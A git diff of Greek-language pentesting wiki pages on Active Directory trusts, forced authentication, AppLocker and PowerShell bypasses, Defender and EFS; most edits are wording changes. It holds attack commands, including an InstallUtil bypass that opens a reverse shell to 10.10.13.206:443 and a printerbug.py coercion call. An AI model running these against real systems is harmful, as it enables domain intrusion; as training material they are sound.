- Ο κίνδυνος επιθέσεων που εκμεταλλεύονται το χαρακτηριστικό ιστορικό SID σε διασυνδέσεις δασών μειώνεται με το Φιλτράρισμα SID, το οποίο είναι ενεργοποιημένο από προεπιλογή σε όλες τις διασυνδέσεις μεταξύ δασών. Αυτό στηρίζεται στην υπόθεση ότι οι διασυνδέσεις εντός του δάσους είναι ασφαλείς, θεωρώντας το δάσος, αντί για το domain, ως το όριο ασφαλείας σύμφωνα με τη θέση της Microsoft. - Ο κίνδυνος επιθέσεων που εκμεταλλεύονται το SID history attribute σε διασυνδέσεις δασών μειώνεται με το SID Filtering, το οποίο είναι ενεργοποιημένο από προεπιλογή σε όλες τις διασυνδέσεις μεταξύ δασών. Αυτό στηρίζεται στην υπόθεση ότι οι διασυνδέσεις εντός του δάσους είναι ασφαλείς, θεωρώντας το δάσος, αντί για το domain, ως το όριο ασφαλείας σύμφωνα με τη θέση της Microsoft.
- Ωστόσο, υπάρχει μια παγίδα: το φιλτράρισμα SID μπορεί να διαταράξει εφαρμογές και την πρόσβαση χρηστών, οδηγώντας σε περιστασιακή απενεργοποίησή του. - Ωστόσο, υπάρχει μια παγίδα: το φιλτράρισμα SID μπορεί να διαταράξει τις εφαρμογές και την πρόσβαση των χρηστών, οδηγώντας σε περιστασιακή απενεργοποίησή του.
### **Επιλεκτική Αυθεντικοποίηση:** ### **Επιλεκτική Αυθεντικοποίηση:**
- Για τις διασυνδέσεις μεταξύ δασών, η χρήση Επιλεκτικής Αυθεντικοποίησης διασφαλίζει ότι οι χρήστες από τα δύο δάση δεν αυθεντικοποιούνται αυτόματα. Αντίθετα, απαιτούνται ρητές άδειες για τους χρήστες να έχουν πρόσβαση σε domains και διακομιστές εντός του εμπιστευμένου domain ή δάσους. - Για τις διασυνδέσεις μεταξύ δασών, η χρήση Επιλεκτικής Αυθεντικοποίησης διασφαλίζει ότι οι χρήστες από τα δύο δάση δεν αυθεντικοποιούνται αυτόματα. Αντίθετα, απαιτούνται ρητές άδειες για τους χρήστες να έχουν πρόσβαση σε domains και servers εντός του εμπιστευόμενου domain ή δάσους.
- Είναι σημαντικό να σημειωθεί ότι αυτά τα μέτρα δεν προστατεύουν από την εκμετάλλευση του εγγράψιμου Configuration Naming Context (NC) ή επιθέσεις στον λογαριασμό εμπιστοσύνης. - Είναι σημαντικό να σημειωθεί ότι αυτά τα μέτρα δεν προστατεύουν από την εκμετάλλευση του writable Configuration Naming Context (NC) ή επιθέσεις στον λογαριασμό εμπιστοσύνης.
[**Περισσότερες πληροφορίες σχετικά με τις εμπιστοσύνες domain στο ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) [**Περισσότερες πληροφορίες σχετικά με τις εμπιστοσύνες domain στο ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
## AD -> Azure & Azure -> AD ## AD -> Azure & Azure -> AD
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
{{#endref}}
## Ορισμένες Γενικές Άμυνες ## Ορισμένες Γενικές Άμυνες
@ -680,7 +682,7 @@ rdp-sessions-abuse.md
- **Περιορισμοί Domain Admins**: Συνιστάται οι Domain Admins να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους υπολογιστές. - **Περιορισμοί Domain Admins**: Συνιστάται οι Domain Admins να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους υπολογιστές.
- **Privileges Λογαριασμού Υπηρεσίας**: Οι υπηρεσίες δεν θα πρέπει να εκτελούνται με privileges Domain Admin (DA) για να διατηρηθεί η ασφάλεια. - **Privileges Λογαριασμού Υπηρεσίας**: Οι υπηρεσίες δεν θα πρέπει να εκτελούνται με privileges Domain Admin (DA) για να διατηρηθεί η ασφάλεια.
- **Περιορισμός Χρόνου Privilege**: Για εργασίες που απαιτούν DA privileges, η διάρκεια τους θα πρέπει να περιορίζεται. Αυτό μπορεί να επιτευχθεί με: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` - **Περιορισμός Χρονικής Διάρκειας Privilege**: Για εργασίες που απαιτούν DA privileges, η διάρκεια τους θα πρέπει να περιορίζεται. Αυτό μπορεί να επιτευχθεί με: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Εφαρμογή Τεχνικών Απάτης** ### **Εφαρμογή Τεχνικών Απάτης**
@ -690,8 +692,8 @@ rdp-sessions-abuse.md
### **Αναγνώριση Απάτης** ### **Αναγνώριση Απάτης**
- **Για Αντικείμενα Χρηστών**: Υποψίες περιλαμβάνουν ασυνήθιστα ObjectSID, σπάνιες συνδέσεις, ημερομηνίες δημιουργίας και χαμηλούς αριθμούς κακών κωδικών. - **Για Αντικείμενα Χρηστών**: Ύποπτα σημάδια περιλαμβάνουν ασυνήθιστο ObjectSID, σπάνιες συνδέσεις, ημερομηνίες δημιουργίας και χαμηλούς αριθμούς κακών κωδικών.
- **Γενικοί Δείκτες**: Η σύγκριση χαρακτηριστικών πιθανών αντικειμένων δόλωμα με αυτά των γνήσιων μπορεί να αποκαλύψει ασυνέπειες. Εργαλεία όπως το [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) μπορούν να βοηθήσουν στην αναγνώριση τέτοιων απατών. - **Γενικά Σημάδια**: Η σύγκριση χαρακτηριστικών πιθανών αντικειμένων δόλωμα με αυτά των γνήσιων μπορεί να αποκαλύψει ασυνέπειες. Εργαλεία όπως το [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) μπορούν να βοηθήσουν στην αναγνώριση τέτοιων απατών.
### **Παράκαμψη Συστήματος Ανίχνευσης** ### **Παράκαμψη Συστήματος Ανίχνευσης**

View File

@ -4,12 +4,12 @@
## SharpSystemTriggers ## SharpSystemTriggers
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) είναι μια **συλλογή** από **remote authentication triggers** κωδικοποιημένα σε C# χρησιμοποιώντας τον μεταγλωττιστή MIDL για να αποφευχθούν οι εξαρτήσεις από τρίτους. [**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) είναι μια **συλλογή** από **απομακρυσμένα triggers αυθεντικοποίησης** κωδικοποιημένα σε C# χρησιμοποιώντας τον μεταγλωττιστή MIDL για να αποφευχθούν οι εξαρτήσεις από τρίτους.
## Spooler Service Abuse ## Spooler Service Abuse
Εάν η υπηρεσία _**Print Spooler**_ είναι **ενεργοποιημένη,** μπορείτε να χρησιμοποιήσετε κάποιες ήδη γνωστές AD πιστοποιήσεις για να **ζητήσετε** από τον εκτυπωτή του Domain Controller μια **ενημέρωση** για νέες εκτυπώσεις και απλά να του πείτε να **στείλει την ειδοποίηση σε κάποιο σύστημα**.\ Εάν η _**υπηρεσία Print Spooler**_ είναι **ενεργοποιημένη,** μπορείτε να χρησιμοποιήσετε κάποιες ήδη γνωστές AD διαπιστεύσεις για να **ζητήσετε** από τον εκτυπωτή του Domain Controller μια **ενημέρωση** για νέες εκτυπώσεις και απλώς να του πείτε να **στείλει την ειδοποίηση σε κάποιο σύστημα**.\
Σημειώστε ότι όταν ο εκτυπωτής στέλνει την ειδοποίηση σε τυχαία συστήματα, χρειάζεται να **αυθεντικοποιηθεί** σε αυτό το **σύστημα**. Επομένως, ένας επιτιθέμενος μπορεί να κάνει την υπηρεσία _**Print Spooler**_ να αυθεντικοποιηθεί σε ένα τυχαίο σύστημα, και η υπηρεσία θα **χρησιμοποιήσει τον υπολογιστή** σε αυτή την αυθεντικοποίηση. Σημειώστε ότι όταν ο εκτυπωτής στέλνει την ειδοποίηση σε τυχαία συστήματα, χρειάζεται να **αυθεντικοποιηθεί** σε αυτό το **σύστημα**. Επομένως, ένας επιτιθέμενος μπορεί να κάνει την _**υπηρεσία Print Spooler**_ να αυθεντικοποιηθεί σε ένα τυχαίο σύστημα, και η υπηρεσία θα **χρησιμοποιήσει τον λογαριασμό υπολογιστή** σε αυτή την αυθεντικοποίηση.
### Finding Windows Servers on the domain ### Finding Windows Servers on the domain
@ -41,17 +41,19 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
``` ```
### Συνδυασμός με Απεριόριστη Αντιπροσώπευση ### Συνδυασμός με Απεριόριστη Αντιπροσώπευση
Εάν ένας επιτιθέμενος έχει ήδη παραβιάσει έναν υπολογιστή με [Απεριόριστη Αντιπροσώπευση](unconstrained-delegation.md), ο επιτιθέμενος θα μπορούσε **να κάνει τον εκτυπωτή να πιστοποιηθεί σε αυτόν τον υπολογιστή**. Λόγω της απεριόριστης αντιπροσώπευσης, το **TGT** του **λογαριασμού υπολογιστή του εκτυπωτή** θα είναι **αποθηκευμένο** στη **μνήμη** του υπολογιστή με απεριόριστη αντιπροσώπευση. Καθώς ο επιτιθέμενος έχει ήδη παραβιάσει αυτήν την υποδοχή, θα είναι σε θέση να **ανακτήσει αυτό το εισιτήριο** και να το εκμεταλλευτεί ([Pass the Ticket](pass-the-ticket.md)). Εάν ένας επιτιθέμενος έχει ήδη παραβιάσει έναν υπολογιστή με [Απεριόριστη Αντιπροσώπευση](unconstrained-delegation.md), ο επιτιθέμενος θα μπορούσε **να κάνει τον εκτυπωτή να πιστοποιηθεί σε αυτόν τον υπολογιστή**. Λόγω της απεριόριστης αντιπροσώπευσης, το **TGT** του **λογαριασμού υπολογιστή του εκτυπωτή** θα είναι **αποθηκευμένο** στη **μνήμη** του υπολογιστή με απεριόριστη αντιπροσώπευση. Καθώς ο επιτιθέμενος έχει ήδη παραβιάσει αυτή τη συσκευή, θα είναι σε θέση να **ανακτήσει αυτό το εισιτήριο** και να το εκμεταλλευτεί ([Pass the Ticket](pass-the-ticket.md)).
## RCP Ανάγκη πιστοποίησης ## RCP Ανάγκη πιστοποίησης
{% embed url="https://github.com/p0dalirius/Coercer" %} {{#ref}}
https://github.com/p0dalirius/Coercer
{{#endref}}
## PrivExchange ## PrivExchange
Η επίθεση `PrivExchange` είναι αποτέλεσμα ενός σφάλματος που βρέθηκε στη **λειτουργία `PushSubscription` του Exchange Server**. Αυτή η λειτουργία επιτρέπει στον διακομιστή Exchange να αναγκάζεται από οποιονδήποτε χρήστη τομέα με γραμματοκιβώτιο να πιστοποιηθεί σε οποιονδήποτε πελάτη που παρέχει υποδοχή μέσω HTTP. Η επίθεση `PrivExchange` είναι αποτέλεσμα ενός σφάλματος που βρέθηκε στη **λειτουργία `PushSubscription` του Exchange Server**. Αυτή η λειτουργία επιτρέπει στον διακομιστή Exchange να αναγκάζεται από οποιονδήποτε χρήστη τομέα με γραμματοκιβώτιο να πιστοποιείται σε οποιονδήποτε πελάτη που παρέχει έναν διακομιστή μέσω HTTP.
Από προεπιλογή, η **υπηρεσία Exchange εκτελείται ως SYSTEM** και της έχουν δοθεί υπερβολικά δικαιώματα (συγκεκριμένα, έχει **WriteDacl δικαιώματα στον τομέα πριν από την ενημέρωση Cumulative Update 2019**). Αυτό το σφάλμα μπορεί να εκμεταλλευτεί για να επιτρέψει την **αναμετάδοση πληροφοριών σε LDAP και στη συνέχεια να εξαγάγει τη βάση δεδομένων NTDS του τομέα**. Σε περιπτώσεις όπου η αναμετάδοση σε LDAP δεν είναι δυνατή, αυτό το σφάλμα μπορεί να χρησιμοποιηθεί για να αναμεταδώσει και να πιστοποιηθεί σε άλλες υποδοχές εντός του τομέα. Η επιτυχής εκμετάλλευση αυτής της επίθεσης παρέχει άμεση πρόσβαση στον Διαχειριστή Τομέα με οποιονδήποτε πιστοποιημένο λογαριασμό χρήστη τομέα. Από προεπιλογή, η **υπηρεσία Exchange εκτελείται ως SYSTEM** και έχει υπερβολικά προνόμια (συγκεκριμένα, έχει **WriteDacl προνόμια στον τομέα πριν από την ενημέρωση Cumulative Update 2019**). Αυτό το σφάλμα μπορεί να εκμεταλλευτεί για να επιτρέψει την **αναμετάδοση πληροφοριών σε LDAP και στη συνέχεια να εξάγει τη βάση δεδομένων NTDS του τομέα**. Σε περιπτώσεις όπου η αναμετάδοση σε LDAP δεν είναι δυνατή, αυτό το σφάλμα μπορεί να χρησιμοποιηθεί για να αναμεταδώσει και να πιστοποιηθεί σε άλλους διακομιστές εντός του τομέα. Η επιτυχής εκμετάλλευση αυτής της επίθεσης παρέχει άμεση πρόσβαση στον Διαχειριστή Τομέα με οποιονδήποτε πιστοποιημένο λογαριασμό χρήστη τομέα.
## Μέσα στα Windows ## Μέσα στα Windows

View File

@ -11,7 +11,7 @@
### Check ### Check
Έλεγχος ποια αρχεία/επέκταση είναι στη μαύρη λίστα/λευκή λίστα: Έλεγχος ποια αρχεία/επέκταση είναι στη μαύρη/λευκή λίστα:
```powershell ```powershell
Get-ApplockerPolicy -Effective -xml Get-ApplockerPolicy -Effective -xml
@ -33,7 +33,7 @@ C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks C:\Windows\Tasks
C:\windows\tracing C:\windows\tracing
``` ```
- Συνήθως **έμπιστοι** [**"LOLBAS's"**](https://lolbas-project.github.io/) δυαδικοί κωδικοί μπορεί να είναι επίσης χρήσιμοι για να παρακαμφθεί το AppLocker. - Συνήθως **έμπιστοι** [**"LOLBAS's"**](https://lolbas-project.github.io/) δυαδικοί κώδικες μπορούν επίσης να είναι χρήσιμοι για να παρακαμφθεί το AppLocker.
- **Κακώς γραμμένοι κανόνες θα μπορούσαν επίσης να παρακαμφθούν** - **Κακώς γραμμένοι κανόνες θα μπορούσαν επίσης να παρακαμφθούν**
- Για παράδειγμα, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, μπορείτε να δημιουργήσετε έναν **φάκελο με όνομα `allowed`** οπουδήποτε και θα επιτραπεί. - Για παράδειγμα, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, μπορείτε να δημιουργήσετε έναν **φάκελο με όνομα `allowed`** οπουδήποτε και θα επιτραπεί.
- Οι οργανισμοί συχνά επικεντρώνονται στο **να μπλοκάρουν το `%System32%\WindowsPowerShell\v1.0\powershell.exe` εκτελέσιμο**, αλλά ξεχνούν τις **άλλες** [**τοποθεσίες εκτελέσιμων PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) όπως το `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ή το `PowerShell_ISE.exe`. - Οι οργανισμοί συχνά επικεντρώνονται στο **να μπλοκάρουν το `%System32%\WindowsPowerShell\v1.0\powershell.exe` εκτελέσιμο**, αλλά ξεχνούν τις **άλλες** [**τοποθεσίες εκτελέσιμων PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) όπως το `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ή το `PowerShell_ISE.exe`.
@ -134,7 +134,9 @@ This way requires the **victim user** to be **running** a **process** inside the
#### Knowing the users password #### Knowing the users password
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %} {{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA) ## Group Managed Service Accounts (gMSA)
@ -156,7 +158,7 @@ You can read this password with [**GMSAPasswordReader**](https://github.com/rvaz
``` ```
[**Βρείτε περισσότερες πληροφορίες σε αυτήν την ανάρτηση**](https://cube0x0.github.io/Relaying-for-gMSA/) [**Βρείτε περισσότερες πληροφορίες σε αυτήν την ανάρτηση**](https://cube0x0.github.io/Relaying-for-gMSA/)
Επίσης, ελέγξτε αυτήν [τη σελίδα](https://cube0x0.github.io/Relaying-for-gMSA/) σχετικά με το πώς να εκτελέσετε μια **επίθεση NTLM relay** για να **διαβάσετε** τον **κωδικό πρόσβασης** του **gMSA**. Επίσης, ελέγξτε αυτήν την [ιστοσελίδα](https://cube0x0.github.io/Relaying-for-gMSA/) σχετικά με το πώς να εκτελέσετε μια **επίθεση NTLM relay** για να **διαβάσετε** τον **κωδικό πρόσβασης** του **gMSA**.
## LAPS ## LAPS
@ -191,7 +193,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
```bash ```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
``` ```
Μπορείτε να χρησιμοποιήσετε [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ή [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) για να **εκτελέσετε κώδικα Powershell** σε οποιαδήποτε διαδικασία και να παρακάμψετε τη περιορισμένη λειτουργία. Για περισσότερες πληροφορίες, ελέγξτε: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). Μπορείτε να χρησιμοποιήσετε [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ή [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) για να **εκτελέσετε κώδικα Powershell** σε οποιαδήποτε διαδικασία και να παρακάμψετε τη περιορισμένη λειτουργία. Για περισσότερες πληροφορίες δείτε: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## Πολιτική Εκτέλεσης PS ## Πολιτική Εκτέλεσης PS
@ -229,14 +231,14 @@ More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershel
- %windir%\Windows\System32\kerberos.dll - %windir%\Windows\System32\kerberos.dll
- **NTLMv1** και **NTLMv2**: Λόγοι συμβατότητας - **NTLMv1** και **NTLMv2**: Λόγοι συμβατότητας
- %windir%\Windows\System32\msv1_0.dll - %windir%\Windows\System32\msv1_0.dll
- **Digest**: Web servers και LDAP, κωδικός πρόσβασης με τη μορφή MD5 hash - **Digest**: Web servers και LDAP, κωδικός πρόσβασης σε μορφή MD5 hash
- %windir%\Windows\System32\Wdigest.dll - %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL και TLS - **Schannel**: SSL και TLS
- %windir%\Windows\System32\Schannel.dll - %windir%\Windows\System32\Schannel.dll
- **Negotiate**: Χρησιμοποιείται για να διαπραγματευτεί το πρωτόκολλο που θα χρησιμοποιηθεί (Kerberos ή NTLM, με το Kerberos να είναι το προεπιλεγμένο) - **Negotiate**: Χρησιμοποιείται για να διαπραγματευτεί το πρωτόκολλο που θα χρησιμοποιηθεί (Kerberos ή NTLM, με το Kerberos να είναι το προεπιλεγμένο)
- %windir%\Windows\System32\lsasrv.dll - %windir%\Windows\System32\lsasrv.dll
#### The negotiation could offer several methods or only one. #### Η διαπραγμάτευση μπορεί να προσφέρει πολλές μεθόδους ή μόνο μία.
## UAC - User Account Control ## UAC - User Account Control
@ -246,5 +248,4 @@ More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershel
windows-security-controls/uac-user-account-control.md windows-security-controls/uac-user-account-control.md
{{#endref}} {{#endref}}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## AppLocker Policy ## AppLocker Policy
Μια λίστα λευκών εφαρμογών είναι μια λίστα εγκεκριμένων λογισμικών εφαρμογών ή εκτελέσιμων που επιτρέπεται να είναι παρόντα και να εκτελούνται σε ένα σύστημα. Ο στόχος είναι να προστατευθεί το περιβάλλον από κακόβουλο λογισμικό και μη εγκεκριμένο λογισμικό που δεν ευθυγραμμίζεται με τις συγκεκριμένες επιχειρηματικές ανάγκες ενός οργανισμού. Μια λίστα επιτρεπόμενων εφαρμογών είναι μια λίστα εγκεκριμένων λογισμικών εφαρμογών ή εκτελέσιμων που επιτρέπεται να είναι παρόντα και να εκτελούνται σε ένα σύστημα. Ο στόχος είναι να προστατευθεί το περιβάλλον από κακόβουλο λογισμικό και μη εγκεκριμένο λογισμικό που δεν ευθυγραμμίζεται με τις συγκεκριμένες επιχειρηματικές ανάγκες ενός οργανισμού.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) είναι η **λύση λευκής λίστας εφαρμογών** της Microsoft και δίνει στους διαχειριστές συστημάτων έλεγχο πάνω σε **ποια εφαρμογές και αρχεία μπορούν να εκτελούν οι χρήστες**. Παρέχει **λεπτομερή έλεγχο** πάνω σε εκτελέσιμα, σενάρια, αρχεία εγκατάστασης Windows, DLLs, συσκευασμένες εφαρμογές και εγκαταστάτες συσκευασμένων εφαρμογών.\ [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) είναι η **λύση λευκής λίστας εφαρμογών** της Microsoft και δίνει στους διαχειριστές συστημάτων έλεγχο πάνω σε **ποια εφαρμογές και αρχεία μπορούν να εκτελούν οι χρήστες**. Παρέχει **λεπτομερή έλεγχο** πάνω σε εκτελέσιμα, σενάρια, αρχεία εγκατάστασης Windows, DLLs, συσκευασμένες εφαρμογές και εγκαταστάτες συσκευασμένων εφαρμογών.\
Είναι κοινό για τους οργανισμούς να **μπλοκάρουν το cmd.exe και το PowerShell.exe** και την εγγραφή σε ορισμένους καταλόγους, **αλλά όλα αυτά μπορούν να παρακαμφθούν**. Είναι κοινό για τους οργανισμούς να **μπλοκάρουν το cmd.exe και το PowerShell.exe** και την εγγραφή σε ορισμένους καταλόγους, **αλλά όλα αυτά μπορούν να παρακαμφθούν**.
### Check ### Check
Έλεγχος ποια αρχεία/επεκτάσεις είναι στη μαύρη/λευκή λίστα: Έλεγχος ποια αρχεία/επέκταση είναι στη μαύρη/λευκή λίστα:
```powershell ```powershell
Get-ApplockerPolicy -Effective -xml Get-ApplockerPolicy -Effective -xml
@ -33,9 +33,9 @@ C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks C:\Windows\Tasks
C:\windows\tracing C:\windows\tracing
``` ```
- Συνήθως **έμπιστοι** [**"LOLBAS's"**](https://lolbas-project.github.io/) δυαδικοί κώδικες μπορούν επίσης να είναι χρήσιμοι για να παρακαμφθεί το AppLocker. - Συνήθως **έμπιστοι** [**"LOLBAS's"**](https://lolbas-project.github.io/) δυαδικοί κωδικοί μπορεί επίσης να είναι χρήσιμοι για να παρακαμφθεί το AppLocker.
- **Κακώς γραμμένοι κανόνες θα μπορούσαν επίσης να παρακαμφθούν** - **Κακώς γραμμένοι κανόνες θα μπορούσαν επίσης να παρακαμφθούν**
- Για παράδειγμα, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, μπορείτε να δημιουργήσετε έναν **φάκελο με όνομα `allowed`** οπουδήποτε και θα επιτραπεί. - Για παράδειγμα, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, μπορείτε να δημιουργήσετε έναν **φάκελο με όνομα `allowed`** οπουδήποτε και θα επιτρέπεται.
- Οι οργανισμοί συχνά επικεντρώνονται στο **να μπλοκάρουν το `%System32%\WindowsPowerShell\v1.0\powershell.exe` εκτελέσιμο**, αλλά ξεχνούν τις **άλλες** [**τοποθεσίες εκτελέσιμων PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) όπως το `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ή το `PowerShell_ISE.exe`. - Οι οργανισμοί συχνά επικεντρώνονται στο **να μπλοκάρουν το `%System32%\WindowsPowerShell\v1.0\powershell.exe` εκτελέσιμο**, αλλά ξεχνούν τις **άλλες** [**τοποθεσίες εκτελέσιμων PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) όπως το `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ή το `PowerShell_ISE.exe`.
- **Η επιβολή DLL σπάνια είναι ενεργοποιημένη** λόγω του επιπλέον φορτίου που μπορεί να επιφέρει σε ένα σύστημα, και της ποσότητας δοκιμών που απαιτούνται για να διασφαλιστεί ότι τίποτα δεν θα σπάσει. Έτσι, η χρήση **DLLs ως πίσω πόρτες θα βοηθήσει στην παράκαμψη του AppLocker**. - **Η επιβολή DLL σπάνια είναι ενεργοποιημένη** λόγω του επιπλέον φορτίου που μπορεί να επιφέρει σε ένα σύστημα, και της ποσότητας δοκιμών που απαιτούνται για να διασφαλιστεί ότι τίποτα δεν θα σπάσει. Έτσι, η χρήση **DLLs ως πίσω πόρτες θα βοηθήσει στην παράκαμψη του AppLocker**.
- Μπορείτε να χρησιμοποιήσετε [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ή [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) για να **εκτελέσετε κώδικα Powershell** σε οποιαδήποτε διαδικασία και να παρακάμψετε το AppLocker. Για περισσότερες πληροφορίες δείτε: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). - Μπορείτε να χρησιμοποιήσετε [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ή [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) για να **εκτελέσετε κώδικα Powershell** σε οποιαδήποτε διαδικασία και να παρακάμψετε το AppLocker. Για περισσότερες πληροφορίες δείτε: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
@ -69,7 +69,7 @@ C:\windows\tracing
## Defender ## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) είναι ένα Antivirus που είναι διαθέσιμο στα Windows 10 και Windows 11, και σε εκδόσεις του Windows Server. **Μπλοκάρει** κοινά εργαλεία pentesting όπως το **`WinPEAS`**. Ωστόσο, υπάρχουν τρόποι για να **παρακαμφθούν αυτές οι προστασίες**. [**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) είναι ένα Antivirus που είναι διαθέσιμο στα Windows 10 και Windows 11, και σε εκδόσεις των Windows Server. **Μπλοκάρει** κοινά εργαλεία pentesting όπως το **`WinPEAS`**. Ωστόσο, υπάρχουν τρόποι για να **παρακαμφθούν αυτές οι προστασίες**.
### Έλεγχος ### Έλεγχος
@ -103,11 +103,11 @@ sc query windefend
``` ```
## Κρυπτογραφημένο Σύστημα Αρχείων (EFS) ## Κρυπτογραφημένο Σύστημα Αρχείων (EFS)
Το EFS ασφαλίζει τα αρχεία μέσω κρυπτογράφησης, χρησιμοποιώντας ένα **συμμετρικό κλειδί** γνωστό ως το **Κλειδί Κρυπτογράφησης Αρχείου (FEK)**. Αυτό το κλειδί κρυπτογραφείται με το **δημόσιο κλειδί** του χρήστη και αποθηκεύεται μέσα στο $EFS **εναλλακτικό ρεύμα δεδομένων** του κρυπτογραφημένου αρχείου. Όταν απαιτείται αποκρυπτογράφηση, χρησιμοποιείται το αντίστοιχο **ιδιωτικό κλειδί** του ψηφιακού πιστοποιητικού του χρήστη για να αποκρυπτογραφηθεί το FEK από το ρεύμα $EFS. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [εδώ](https://en.wikipedia.org/wiki/Encrypting_File_System). EFS ασφαλίζει τα αρχεία μέσω κρυπτογράφησης, χρησιμοποιώντας ένα **συμμετρικό κλειδί** γνωστό ως το **Κλειδί Κρυπτογράφησης Αρχείου (FEK)**. Αυτό το κλειδί κρυπτογραφείται με το **δημόσιο κλειδί** του χρήστη και αποθηκεύεται μέσα στο $EFS **εναλλακτικό ρεύμα δεδομένων** του κρυπτογραφημένου αρχείου. Όταν απαιτείται αποκρυπτογράφηση, χρησιμοποιείται το αντίστοιχο **ιδιωτικό κλειδί** του ψηφιακού πιστοποιητικού του χρήστη για να αποκρυπτογραφηθεί το FEK από το ρεύμα $EFS. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [εδώ](https://en.wikipedia.org/wiki/Encrypting_File_System).
**Σενάρια αποκρυπτογράφησης χωρίς πρωτοβουλία του χρήστη** περιλαμβάνουν: **Σενάρια αποκρυπτογράφησης χωρίς πρωτοβουλία του χρήστη** περιλαμβάνουν:
- Όταν αρχεία ή φάκελοι μετακινούνται σε ένα μη EFS σύστημα αρχείων, όπως το [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), αποκρυπτογραφούνται αυτόματα. - Όταν αρχεία ή φάκελοι μεταφέρονται σε ένα μη EFS σύστημα αρχείων, όπως το [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), αποκρυπτογραφούνται αυτόματα.
- Κρυπτογραφημένα αρχεία που αποστέλλονται μέσω του δικτύου μέσω του πρωτοκόλλου SMB/CIFS αποκρυπτογραφούνται πριν από τη μετάδοση. - Κρυπτογραφημένα αρχεία που αποστέλλονται μέσω του δικτύου μέσω του πρωτοκόλλου SMB/CIFS αποκρυπτογραφούνται πριν από τη μετάδοση.
